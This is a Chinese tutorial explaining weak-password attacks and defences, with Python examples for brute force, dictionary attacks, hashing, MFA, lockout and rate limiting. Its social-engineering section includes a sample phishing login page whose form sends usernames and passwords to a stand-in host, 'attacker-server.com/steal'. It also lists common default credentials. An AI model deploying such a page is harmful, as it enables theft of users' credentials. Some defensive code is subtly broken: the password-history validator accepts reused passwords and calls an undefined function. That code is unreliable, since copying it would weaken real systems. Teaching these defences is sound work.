弱口令攻击的常见手法与防范策略解析

引言

在当今数字化时代，网络安全已成为个人和企业面临的重要挑战。其中，弱口令攻击作为一种简单但极其有效的攻击手段，仍然是黑客入侵系统的主要途径之一。根据Verizon的《2023年数据泄露调查报告》，超过80%的数据泄露事件与身份验证相关，其中弱口令和默认凭证是主要原因。本文将深入解析弱口令攻击的常见手法，并提供全面的防范策略，帮助读者构建更安全的密码防护体系。

一、弱口令攻击的定义与危害

1.1 什么是弱口令攻击

弱口令攻击是指攻击者利用用户设置的简单、常见或容易猜测的密码，通过暴力破解、字典攻击等方式获取系统访问权限的攻击行为。这类攻击通常不需要高深的技术知识，但成功率却出奇地高。

1.2 弱口令攻击的危害

数据泄露：攻击者获取权限后可窃取敏感信息
系统破坏：可删除数据、植入恶意软件
横向移动：利用一个系统的权限攻击其他系统
身份冒用：冒充用户进行欺诈活动
经济损失：企业可能面临巨额罚款和声誉损失

二、弱口令攻击的常见手法

2.1 暴力破解（Brute Force Attack）

暴力破解是最直接的攻击方式，攻击者使用自动化工具尝试所有可能的密码组合。

攻击原理：

攻击者编写脚本，按顺序尝试从简单到复杂的密码组合
常见的工具包括：Hydra、John the Ripper、Aircrack-ng等

示例代码（Python模拟暴力破解）：

import itertools
import string
import time

def brute_force_password(max_length=4):
    """
    模拟简单的暴力破解（仅用于演示原理，实际攻击更复杂）
    """
    characters = string.ascii_lowercase + string.digits  # 小写字母+数字
    attempts = 0
    
    for length in range(1, max_length + 1):
        for attempt in itertools.product(characters, repeat=length):
            password = ''.join(attempt)
            attempts += 1
            # 这里模拟尝试登录
            if password == "1234":  # 假设目标密码是"1234"
                print(f"密码破解成功！尝试次数：{attempts}")
                return password
            if attempts % 100000 == 0:
                print(f"已尝试 {attempts} 次...")
    
    return None

# 注意：实际攻击中，攻击者会使用更高效的算法和分布式计算
# 此代码仅用于演示原理，不应用于实际攻击

实际攻击案例： 2021年，某电商平台遭受暴力破解攻击，攻击者通过尝试常见密码组合，成功获取了数千个用户账户的访问权限，导致大量用户数据泄露。

2.2 字典攻击（Dictionary Attack）

字典攻击使用预先准备好的密码字典进行尝试，比暴力破解更高效。

攻击原理：

攻击者收集常见密码列表（如”password”、”123456”、”qwerty”等）
使用自动化工具批量尝试这些密码

常见密码字典来源：

公开泄露的密码库：如RockYou.txt（包含约1400万个真实密码）
常见密码列表：如Top 1000最常用密码
个人信息相关：生日、姓名、电话号码等
语言特定：特定语言的常见词汇

示例代码（Python模拟字典攻击）：

def dictionary_attack(password_list, target_password):
    """
    模拟字典攻击
    """
    attempts = 0
    for password in password_list:
        attempts += 1
        if password == target_password:
            print(f"字典攻击成功！尝试次数：{attempts}")
            return password
        if attempts % 1000 == 0:
            print(f"已尝试 {attempts} 次...")
    
    return None

# 示例字典
common_passwords = [
    "password", "123456", "12345678", "qwerty", "abc123",
    "111111", "admin", "welcome", "password1", "1234567"
]

# 模拟攻击
result = dictionary_attack(common_passwords, "123456")

2.3 撞库攻击（Credential Stuffing）

撞库攻击利用用户在多个网站使用相同密码的习惯，将已泄露的凭证尝试登录其他系统。

攻击流程：

攻击者获取已泄露的用户名和密码对（通常来自数据泄露事件）
使用自动化工具批量尝试这些凭证登录目标系统
成功登录后，可进一步窃取数据或进行其他恶意活动

真实案例： 2019年，某大型社交平台遭受撞库攻击，攻击者利用从其他网站泄露的凭证，成功登录了超过50万个账户，导致用户隐私数据大规模泄露。

2.4 社会工程学攻击

通过欺骗用户获取密码，而非直接攻击系统。

常见手段：

钓鱼邮件：伪造登录页面诱骗用户输入密码
电话诈骗：冒充技术支持人员索要密码
肩窥攻击：在公共场合偷看他人输入密码

示例：

<!-- 伪造的登录页面示例（仅用于演示） -->
<!DOCTYPE html>
<html>
<head>
    <title>安全验证 - 请登录</title>
</head>
<body>
    <h2>您的账户需要安全验证</h2>
    <form action="http://attacker-server.com/steal" method="POST">
        <label>用户名：</label>
        <input type="text" name="username" required><br>
        <label>密码：</label>
        <input type="password" name="password" required><br>
        <button type="submit">登录</button>
    </form>
    <p style="color:red;">注意：您的账户可能已被锁定，请立即验证</p>
</body>
</html>

2.5 默认凭证攻击

许多设备和服务使用默认用户名和密码（如admin/admin、root/123456），攻击者利用这些默认设置进行攻击。

常见默认凭证：

路由器：admin/admin, admin/password
数据库：root/空密码, sa/空密码
CMS系统：admin/admin
IoT设备：admin/admin, user/user

攻击示例：

# 模拟扫描默认凭证
def scan_default_credentials(ip_address):
    """
    模拟扫描网络设备的默认凭证
    """
    default_credentials = [
        ("admin", "admin"),
        ("admin", "password"),
        ("root", "123456"),
        ("user", "user"),
        ("administrator", "password")
    ]
    
    for username, password in default_credentials:
        # 模拟尝试登录
        print(f"尝试 {username}:{password} 登录 {ip_address}")
        # 实际攻击中会调用具体的登录接口
        # if login_success(ip_address, username, password):
        #     return (username, password)
    
    return None

三、弱口令攻击的防范策略

3.1 密码策略强化

3.1.1 密码复杂度要求

长度：至少12个字符（推荐16位以上）
字符类型：包含大小写字母、数字、特殊符号
避免常见模式：如连续数字、键盘相邻字符

密码生成示例：

import secrets
import string

def generate_strong_password(length=16):
    """
    生成强密码
    """
    # 定义字符集
    uppercase = string.ascii_uppercase
    lowercase = string.ascii_lowercase
    digits = string.digits
    special = "!@#$%^&*()_+-=[]{}|;:,.<>?"
    
    # 确保每种字符至少出现一次
    password_chars = [
        secrets.choice(uppercase),
        secrets.choice(lowercase),
        secrets.choice(digits),
        secrets.choice(special)
    ]
    
    # 填充剩余字符
    all_chars = uppercase + lowercase + digits + special
    for _ in range(length - 4):
        password_chars.append(secrets.choice(all_chars))
    
    # 打乱顺序
    secrets.SystemRandom().shuffle(password_chars)
    
    return ''.join(password_chars)

# 生成示例
print("强密码示例：", generate_strong_password(16))
# 输出：X7$kP9!mQ2@vR5&n

3.1.2 密码过期策略

定期更换：建议每90天更换一次密码
避免简单轮换：防止用户在新旧密码间简单修改（如Password1→Password2）
历史密码限制：禁止使用最近3-5次的旧密码

实现示例：

class PasswordHistory:
    def __init__(self, max_history=5):
        self.max_history = max_history
        self.history = []
    
    def add_password(self, password_hash):
        """添加新密码到历史记录"""
        if len(self.history) >= self.max_history:
            self.history.pop(0)  # 移除最旧的密码
        self.history.append(password_hash)
    
    def is_password_reused(self, password_hash):
        """检查密码是否在历史记录中"""
        return password_hash in self.history
    
    def validate_new_password(self, new_password, old_passwords):
        """
        验证新密码是否符合策略
        """
        # 检查是否与旧密码相似
        if self.is_similar_to_old(new_password, old_passwords):
            return False, "新密码与旧密码太相似"
        
        # 检查是否在历史记录中
        if self.is_password_reused(hash_password(new_password)):
            return True, "密码已在历史记录中"
        
        return True, "密码符合要求"
    
    def is_similar_to_old(self, new_password, old_passwords):
        """检查新密码是否与旧密码相似"""
        # 简单的相似度检查（实际应用中可使用更复杂的算法）
        for old in old_passwords:
            if self.calculate_similarity(new_password, old) > 0.7:
                return True
        return False
    
    def calculate_similarity(self, str1, str2):
        """计算字符串相似度（简化版）"""
        # 实际应用中可使用Levenshtein距离等算法
        common_chars = set(str1) & set(str2)
        return len(common_chars) / max(len(str1), len(str2))

# 使用示例
password_history = PasswordHistory(max_history=3)
password_history.add_password("Password123!")
password_history.add_password("SecurePass456@")
password_history.add_password("MyPass789#")

# 验证新密码
is_valid, message = password_history.validate_new_password(
    "SecurePass457@", 
    ["Password123!", "SecurePass456@", "MyPass789#"]
)
print(f"验证结果：{is_valid}, 消息：{message}")

3.2 多因素认证（MFA）

3.2.1 MFA类型

基于时间的一次性密码（TOTP）：如Google Authenticator
硬件令牌：如YubiKey
生物识别：指纹、面部识别
短信/邮件验证码：安全性较低，但仍优于单因素认证

3.2.2 MFA实施示例

import pyotp
import time

class MFAAuthenticator:
    def __init__(self):
        self.totp = pyotp.TOTP(pyotp.random_base32())
    
    def generate_qr_code(self, username):
        """生成二维码供用户扫描"""
        provisioning_uri = self.totp.provisioning_uri(
            name=username,
            issuer_name="MyApp"
        )
        return provisioning_uri
    
    def verify_code(self, user_code):
        """验证用户输入的验证码"""
        return self.totp.verify(user_code)
    
    def generate_backup_codes(self, count=10):
        """生成备用验证码"""
        import secrets
        backup_codes = []
        for _ in range(count):
            code = ''.join(secrets.choice('ABCDEFGHJKLMNPQRSTUVWXYZ23456789') 
                          for _ in range(8))
            backup_codes.append(code)
        return backup_codes

# 使用示例
mfa = MFAAuthenticator()
print("MFA配置URI：", mfa.generate_qr_code("user@example.com"))

# 模拟验证
current_code = mfa.totp.now()
print(f"当前验证码：{current_code}")
print("验证结果：", mfa.verify_code(current_code))

3.3 账户锁定机制

3.3.1 登录失败锁定

临时锁定：连续失败5次后锁定15分钟
渐进式延迟：每次失败后增加等待时间
IP地址限制：对可疑IP进行限制

实现示例：

import time
from collections import defaultdict
from datetime import datetime, timedelta

class AccountLockout:
    def __init__(self, max_attempts=5, lockout_duration=900):  # 15分钟
        self.max_attempts = max_attempts
        self.lockout_duration = lockout_duration
        self.failed_attempts = defaultdict(list)  # {username: [timestamps]}
        self.locked_until = {}  # {username: lockout_end_time}
    
    def record_failed_attempt(self, username, ip_address):
        """记录失败的登录尝试"""
        current_time = time.time()
        
        # 检查是否已被锁定
        if username in self.locked_until:
            if current_time < self.locked_until[username]:
                return False, f"账户已锁定，剩余时间：{self.locked_until[username] - current_time:.0f}秒"
        
        # 添加失败记录
        self.failed_attempts[username].append(current_time)
        
        # 清理过期记录（30分钟前的）
        cutoff = current_time - 1800
        self.failed_attempts[username] = [
            t for t in self.failed_attempts[username] if t > cutoff
        ]
        
        # 检查是否达到锁定阈值
        if len(self.failed_attempts[username]) >= self.max_attempts:
            lockout_end = current_time + self.lockout_duration
            self.locked_until[username] = lockout_end
            return False, f"账户已锁定至 {datetime.fromtimestamp(lockout_end)}"
        
        remaining = self.max_attempts - len(self.failed_attempts[username])
        return True, f"剩余尝试次数：{remaining}"
    
    def record_successful_login(self, username):
        """记录成功的登录，重置失败计数"""
        if username in self.failed_attempts:
            del self.failed_attempts[username]
        if username in self.locked_until:
            del self.locked_until[username]
    
    def is_locked(self, username):
        """检查账户是否被锁定"""
        if username in self.locked_until:
            current_time = time.time()
            if current_time < self.locked_until[username]:
                return True, self.locked_until[username] - current_time
        return False, 0

# 使用示例
lockout = AccountLockout(max_attempts=3, lockout_duration=300)  # 5分钟

# 模拟多次失败尝试
for i in range(5):
    success, message = lockout.record_failed_attempt("user1", "192.168.1.1")
    print(f"尝试 {i+1}: {message}")
    if not success:
        break

# 检查锁定状态
is_locked, remaining = lockout.is_locked("user1")
if is_locked:
    print(f"账户被锁定，剩余时间：{remaining:.0f}秒")

3.4 密码存储安全

3.4.1 密码哈希

绝不存储明文密码
使用强哈希算法：bcrypt、Argon2、PBKDF2
加盐（Salt）：每个密码使用唯一的随机盐值

安全密码存储示例：

import bcrypt
import hashlib
import secrets

class SecurePasswordStorage:
    def __init__(self):
        pass
    
    def hash_password_bcrypt(self, password):
        """使用bcrypt哈希密码"""
        # 生成盐值
        salt = bcrypt.gensalt(rounds=12)  # 12轮，平衡安全性和性能
        # 哈希密码
        hashed = bcrypt.hashpw(password.encode('utf-8'), salt)
        return hashed.decode('utf-8')
    
    def verify_password_bcrypt(self, password, hashed):
        """验证bcrypt哈希的密码"""
        return bcrypt.checkpw(password.encode('utf-8'), hashed.encode('utf-8'))
    
    def hash_password_argon2(self, password):
        """使用Argon2哈希密码（推荐）"""
        from argon2 import PasswordHasher
        ph = PasswordHasher(
            time_cost=3,      # 迭代次数
            memory_cost=65536, # 内存使用（KB）
            parallelism=4,    # 并行度
            hash_len=32,      # 哈希长度
            salt_len=16       # 盐值长度
        )
        return ph.hash(password)
    
    def verify_password_argon2(self, password, hashed):
        """验证Argon2哈希的密码"""
        from argon2 import PasswordHasher
        ph = PasswordHasher()
        try:
            ph.verify(hashed, password)
            return True
        except:
            return False
    
    def hash_password_pbkdf2(self, password, salt=None):
        """使用PBKDF2哈希密码"""
        if salt is None:
            salt = secrets.token_bytes(16)
        
        # 使用HMAC-SHA256，迭代100000次
        dk = hashlib.pbkdf2_hmac(
            'sha256',
            password.encode('utf-8'),
            salt,
            100000
        )
        return salt.hex() + dk.hex()
    
    def verify_password_pbkdf2(self, password, hashed):
        """验证PBKDF2哈希的密码"""
        salt_hex = hashed[:32]
        stored_hash = hashed[32:]
        
        salt = bytes.fromhex(salt_hex)
        dk = hashlib.pbkdf2_hmac(
            'sha256',
            password.encode('utf-8'),
            salt,
            100000
        )
        return dk.hex() == stored_hash

# 使用示例
storage = SecurePasswordStorage()

# 测试bcrypt
password = "MySecurePassword123!"
hashed_bcrypt = storage.hash_password_bcrypt(password)
print(f"bcrypt哈希：{hashed_bcrypt}")
print(f"验证结果：{storage.verify_password_bcrypt(password, hashed_bcrypt)}")

# 测试Argon2
hashed_argon2 = storage.hash_password_argon2(password)
print(f"Argon2哈希：{hashed_argon2}")
print(f"验证结果：{storage.verify_password_argon2(password, hashed_argon2)}")

# 测试PBKDF2
hashed_pbkdf2 = storage.hash_password_pbkdf2(password)
print(f"PBKDF2哈希：{hashed_pbkdf2}")
print(f"验证结果：{storage.verify_password_pbkdf2(password, hashed_pbkdf2)}")

3.4.2 密码加密存储（特殊情况）

对于需要解密密码的场景（如连接外部服务），应使用加密而非哈希。

from cryptography.fernet import Fernet
import base64

class PasswordEncryptor:
    def __init__(self, key=None):
        if key is None:
            # 生成密钥（实际应用中应从安全存储中获取）
            self.key = Fernet.generate_key()
        else:
            self.key = key
        self.cipher = Fernet(self.key)
    
    def encrypt_password(self, password):
        """加密密码"""
        return self.cipher.encrypt(password.encode('utf-8'))
    
    def decrypt_password(self, encrypted_password):
        """解密密码"""
        return self.cipher.decrypt(encrypted_password).decode('utf-8')
    
    def get_key(self):
        """获取密钥（仅用于备份，应安全存储）"""
        return self.key

# 使用示例
encryptor = PasswordEncryptor()
password = "MyDatabasePassword123!"
encrypted = encryptor.encrypt_password(password)
print(f"加密后：{encrypted}")
decrypted = encryptor.decrypt_password(encrypted)
print(f"解密后：{decrypted}")
print(f"密钥（应安全存储）：{encryptor.get_key()}")

3.5 用户教育与意识提升

3.5.1 密码管理器推荐

LastPass、1Password、Bitwarden（开源）
浏览器内置密码管理器：Chrome、Firefox、Edge

3.5.2 密码创建技巧

使用密码短语：如”CorrectHorseBatteryStaple”
避免个人信息：生日、姓名、电话号码
不同网站使用不同密码

3.5.3 定期安全检查

使用Have I Been Pwned：检查密码是否已泄露
定期更新重要账户密码

3.6 系统级防护措施

3.6.1 网络层防护

防火墙规则：限制登录尝试频率
IP白名单：对管理后台限制访问IP
VPN/零信任网络：保护内部系统

3.6.2 应用层防护

Web应用防火墙（WAF）：检测和阻止恶意请求
速率限制（Rate Limiting）：限制API调用频率

速率限制示例：

from flask import Flask, request, jsonify
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

app = Flask(__name__)

# 配置速率限制
limiter = Limiter(
    app,
    key_func=get_remote_address,
    default_limits=["200 per day", "50 per hour"]
)

@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute")  # 每分钟最多5次登录尝试
def login():
    username = request.form.get('username')
    password = request.form.get('password')
    
    # 验证逻辑
    if authenticate(username, password):
        return jsonify({"status": "success"})
    else:
        return jsonify({"status": "failed"}), 401

if __name__ == '__main__':
    app.run(debug=True)

3.6.3 监控与日志

记录所有登录尝试：包括成功和失败
异常检测：检测异常登录模式（如地理位置变化）
实时告警：对可疑活动发送警报

日志记录示例：

import logging
from datetime import datetime

class LoginLogger:
    def __init__(self):
        # 配置日志
        logging.basicConfig(
            filename='login_attempts.log',
            level=logging.INFO,
            format='%(asctime)s - %(levelname)s - %(message)s'
        )
        self.logger = logging.getLogger(__name__)
    
    def log_login_attempt(self, username, ip_address, success, reason=None):
        """记录登录尝试"""
        timestamp = datetime.now().isoformat()
        status = "SUCCESS" if success else "FAILED"
        
        log_entry = f"{timestamp} - {status} - 用户：{username} - IP：{ip_address}"
        if reason:
            log_entry += f" - 原因：{reason}"
        
        self.logger.info(log_entry)
        
        # 同时记录到数据库（示例）
        self.log_to_database(username, ip_address, success, reason)
    
    def log_to_database(self, username, ip_address, success, reason):
        """模拟记录到数据库"""
        # 实际应用中应使用数据库连接
        print(f"数据库记录：用户{username}从{ip_address}登录{'成功' if success else '失败'}")

# 使用示例
logger = LoginLogger()
logger.log_login_attempt("user1", "192.168.1.100", False, "密码错误")
logger.log_login_attempt("admin", "10.0.0.1", True)

四、企业级弱口令防护方案

4.1 集中身份管理

单点登录（SSO）：如Okta、Azure AD
身份联邦：跨系统统一身份验证
特权访问管理（PAM）：管理管理员账户

4.2 自动化密码策略执行

密码策略引擎：自动强制执行复杂度要求
定期密码轮换：自动提醒和强制更换
密码健康检查：定期扫描弱密码

4.3 威胁情报集成

实时泄露检测：集成Have I Been Pwned API
异常行为分析：使用机器学习检测异常登录

Have I Been Pwned API集成示例：

import requests
import hashlib

class PasswordLeakChecker:
    def __init__(self):
        self.api_url = "https://api.pwnedpasswords.com/range/"
    
    def check_password_leak(self, password):
        """
        检查密码是否在已知泄露中
        返回：(是否泄露, 泄露次数)
        """
        # 计算SHA-1哈希
        sha1_hash = hashlib.sha1(password.encode('utf-8')).hexdigest().upper()
        prefix = sha1_hash[:5]
        suffix = sha1_hash[5:]
        
        # 查询API
        try:
            response = requests.get(f"{self.api_url}{prefix}")
            if response.status_code == 200:
                # 解析响应
                for line in response.text.splitlines():
                    if line.startswith(suffix):
                        count = int(line.split(':')[1])
                        return True, count
                return False, 0
        except Exception as e:
            print(f"查询失败：{e}")
        
        return False, 0
    
    def check_password_strength(self, password):
        """综合评估密码强度"""
        checks = []
        
        # 长度检查
        if len(password) < 8:
            checks.append(("长度不足", False))
        elif len(password) < 12:
            checks.append(("长度一般", True))
        else:
            checks.append(("长度足够", True))
        
        # 复杂度检查
        has_upper = any(c.isupper() for c in password)
        has_lower = any(c.islower() for c in password)
        has_digit = any(c.isdigit() for c in password)
        has_special = any(not c.isalnum() for c in password)
        
        complexity_score = sum([has_upper, has_lower, has_digit, has_special])
        if complexity_score >= 3:
            checks.append(("复杂度足够", True))
        else:
            checks.append(("复杂度不足", False))
        
        # 泄露检查
        is_leaked, count = self.check_password_leak(password)
        if is_leaked:
            checks.append((f"密码已泄露（{count}次）", False))
        else:
            checks.append(("密码未泄露", True))
        
        # 常见模式检查
        common_patterns = ["123456", "password", "qwerty", "abc123", "111111"]
        if any(pattern in password.lower() for pattern in common_patterns):
            checks.append(("包含常见模式", False))
        
        return checks

# 使用示例
checker = PasswordLeakChecker()
password = "MySecurePassword123!"
checks = checker.check_password_strength(password)

print(f"密码：{password}")
print("强度评估：")
for check, passed in checks:
    status = "✓" if passed else "✗"
    print(f"  {status} {check}")

# 检查泄露
is_leaked, count = checker.check_password_leak(password)
print(f"\n泄露状态：{'已泄露' if is_leaked else '未泄露'}")
if is_leaked:
    print(f"泄露次数：{count}")

五、实际案例分析

5.1 案例一：某企业内部系统弱口令攻击

背景：某公司内部OA系统使用简单密码”company123”

攻击过程：

攻击者通过社会工程学获取员工邮箱列表
使用字典攻击尝试常见密码
成功登录多个账户，窃取商业机密

损失：

直接经济损失：约50万美元
声誉损失：客户信任度下降
法律风险：违反数据保护法规

改进措施：

实施强制密码策略（12位以上，包含特殊字符）
部署多因素认证
定期安全培训
部署入侵检测系统

5.2 案例二：IoT设备默认凭证攻击

背景：某智能家居系统使用默认用户名”admin”和密码”admin”

攻击过程：

攻击者扫描互联网上的IoT设备
使用默认凭证尝试登录
成功控制数千台设备，组建僵尸网络

损失：

设备被用于DDoS攻击
用户隐私泄露
设备制造商声誉受损

改进措施：

强制首次使用时修改默认密码
禁用默认账户
实施设备认证机制
定期固件更新

六、未来趋势与建议

6.1 密码的未来

无密码认证：WebAuthn、FIDO2标准
生物识别：指纹、面部、虹膜识别
行为生物识别：击键模式、鼠标移动

6.2 企业建议

立即行动：扫描系统中的弱口令
分层防护：结合多种安全措施
持续监控：建立安全运营中心（SOC）
合规要求：遵循GDPR、HIPAA等法规

6.3 个人建议

使用密码管理器：生成和存储强密码
启用多因素认证：保护重要账户
定期检查：使用Have I Been Pwned等工具
保持警惕：不点击可疑链接，不共享密码

七、总结

弱口令攻击虽然技术门槛低，但危害巨大。通过理解攻击手法并实施多层次的防护策略，可以显著降低风险。关键要点包括：

技术层面：实施强密码策略、多因素认证、安全存储
管理层面：建立安全策略、定期审计、员工培训
监控层面：实时检测异常、快速响应

记住，安全是一个持续的过程，而非一次性项目。随着攻击技术的演进，防护措施也需要不断更新和完善。

附录：常用安全工具推荐

密码强度测试：zxcvbn（Dropbox开源库）
密码管理器：Bitwarden（开源）、1Password
漏洞扫描：Nessus、OpenVAS
渗透测试：Metasploit、Burp Suite
日志分析：ELK Stack（Elasticsearch, Logstash, Kibana）

通过综合运用这些工具和策略，您可以构建一个更加安全的数字环境，有效抵御弱口令攻击的威胁。